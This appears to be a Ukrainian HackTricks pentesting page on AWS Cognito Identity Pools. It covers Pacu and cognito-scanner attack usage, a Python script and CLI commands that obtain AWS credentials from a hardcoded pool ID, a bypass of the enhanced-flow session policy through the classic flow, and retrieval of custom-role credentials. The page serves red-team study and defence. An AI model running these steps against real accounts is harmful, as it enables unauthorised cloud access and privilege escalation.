Cognito Identity Pools

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Пули ідентичності відіграють важливу роль, дозволяючи вашим користувачам отримувати тимчасові облікові дані. Ці облікові дані є необхідними для доступу до різних служб AWS, включаючи, але не обмежуючись Amazon S3 та DynamoDB. Важливою особливістю пулів ідентичності є підтримка як анонімних гостевих користувачів, так і ряду постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають:

  • Пули користувачів Amazon Cognito

  • Соціальні опції входу, такі як Facebook, Google, Увійти за допомогою Amazon та Увійти за допомогою Apple

  • Постачальники, що відповідають вимогам OpenID Connect (OIDC)

  • Постачальники ідентичності SAML (Security Assertion Markup Language)

  • Підтверджені розробником ідентичності

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Для генерації сеансів пулу ідентифікації спочатку потрібно створити ідентифікатор ідентичності. Цей ідентифікатор ідентичності є ідентифікацією сеансу цього користувача. Ці ідентифікації можуть містити до 20 наборів даних, в яких можна зберігати до 1 МБ пар ключ-значення.

Це корисно для збереження інформації про користувача (який завжди буде використовувати той самий ідентифікатор ідентичності).

Крім того, служба cognito-sync - це служба, яка дозволяє керувати та синхронізувати цю інформацію (у наборах даних, надсилаючи інформацію в потоки та повідомлення SNS...).

Інструменти для пентесту

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перелік всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувача, використані для контролю доступу тощо, а також автоматизують створення користувача (включаючи підтримку MFA) та підвищення привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних пулу ідентичності, ролей, які можна припускати в ідентифікаційних токенах тощо.

Для опису функцій модулів див. частину 2 посту в блозі. Інструкції щодо установки див. на головній сторінці Pacu.

Використання

Приклад використання атаки cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти заданого пулу ідентичності та клієнта пулу користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулу користувачів, пулів ідентичності, користувачів тощо, які видно в поточному обліковому записі AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент командного рядка на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікового запису та ескалацію пулу ідентифікації.

Встановлення

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner

Отримання ролей IAM

Неаутентифікований

Єдине, що потрібно знати зловмиснику для отримання облікових даних AWS в додатку Cognito як неаутентифікованому користувачу, це ID пула ідентифікації, і цей ID повинен бути захардкоджений в веб- / мобільному додатку, щоб використовувати його. ID виглядає наступним чином: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (його неможливо перебрати).

Роль IAM Cognito для неаутентифікованих користувачів, створена за допомогою, за замовчуванням називається Cognito_<Ім'я пула ідентифікації>Unauth_Role

Якщо ви знаходите захардкоджений ID пулів ідентифікації, який дозволяє неаутентифікованим користувачам, ви можете отримати облікові дані AWS за допомогою:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Або ви можете використати наступні команди aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Зверніть увагу, що за замовчуванням невідомий користувач cognito НЕ може мати жодних дозволів, навіть якщо вони були надані через політику. Перевірте наступний розділ.

Покращений проти базового потоку аутентифікації

Попередній розділ слідував стандартному покращеному потоку аутентифікації. Цей потік встановлює обмежувальну політику сеансу для створеного сеансу ролі IAM. Ця політика дозволить сеансу лише використовувати послуги з цього списку (навіть якщо роль мала доступ до інших послуг).

Однак є спосіб обійти це, якщо Пул ідентичності має увімкнений "Базовий (Класичний) потік", користувач зможе отримати сеанс, використовуючи цей потік, який не матиме цієї обмежувальної політики сеансу.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Якщо ви отримали цю помилку, це тому, що базовий потік не увімкнено (типово)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Маючи набір облікових даних IAM, вам слід перевірити який доступ у вас є і спробувати підвищити привілеї.

Аутентифікований

Пам'ятайте, що аутентифікованим користувачам, ймовірно, будуть надані різні дозволи, тому якщо ви можете зареєструватися в додатку, спробуйте це зробити і отримати нові облікові дані.

Також можуть бути доступні ролі для аутентифікованих користувачів, які отримують доступ до пулу ідентифікаторів.

Для цього вам може знадобитися доступ до постачальника ідентифікації. Якщо це Пул користувачів Cognito, можливо, ви можете зловживати типовою поведінкою і створити нового користувача самостійно.

Роль аутентифікованого IAM Cognito, створена через, типово називається Cognito_<Ім'я пулу ідентифікаторів>Auth_Role

У будь-якому випадку, наступний приклад передбачає, що ви вже увійшли в Пул користувачів Cognito, який використовується для доступу до пулу ідентифікаторів (не забудьте, що також можуть бути налаштовані інші типи постачальників ідентифікації).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Отримайте ідентифікатор ідентифікатора з попередньої відповіді на команду
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# У IdToken ви можете знайти ролі, до яких користувач має доступ через Групи Пулу користувачів
# Використовуйте --custom-role-arn, щоб отримати облікові дані для конкретної ролі
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Можливо налаштувати різні ролі IAM в залежності від постачальника ідентифікації, в якого входить користувач або навіть просто в залежності від користувача (за допомогою претензій). Тому, якщо у вас є доступ до різних користувачів через одного або різних постачальників, варто увійти та отримати доступ до ролей IAM всіх них.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated